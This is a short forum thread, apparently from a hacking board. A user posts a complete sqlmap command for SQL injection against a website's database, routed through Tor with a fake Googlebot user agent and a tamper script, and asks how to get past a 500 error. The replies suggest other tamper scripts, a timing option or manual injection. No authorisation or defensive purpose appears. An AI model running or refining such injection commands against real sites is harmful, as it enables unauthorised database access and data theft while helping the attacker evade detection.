Thread: [500 internal error server SQLMAP](#)

**cloudz4me** - September 28, 2020, 3:33 pm

anyone how to bypass it?

```
sqlmap.py -u"website.com" -technique U -D MYDATABASE -T MYTABLE --columns  
-drop-set-cookie --tor --tor-type=SOCKS5 --user-agent="Googlebot (compatible; Googlebot/2.1;  
+http://www.google.com/bot.html)" -v 3 -tamper=percentage
```

is 500 internal_error_server is the output you get from this query ?!
```

would be better if you put pic of sqlmap full output

also have you try to use another tamper script ?!

<https://prnt.sc/upjaps>

sorry but there is no help can be provided it must done manual i don't know any plugin can bypass the internal error on sqlmap

but try to use --time-sec 3 it might do the trick if didn't work then go for it manual
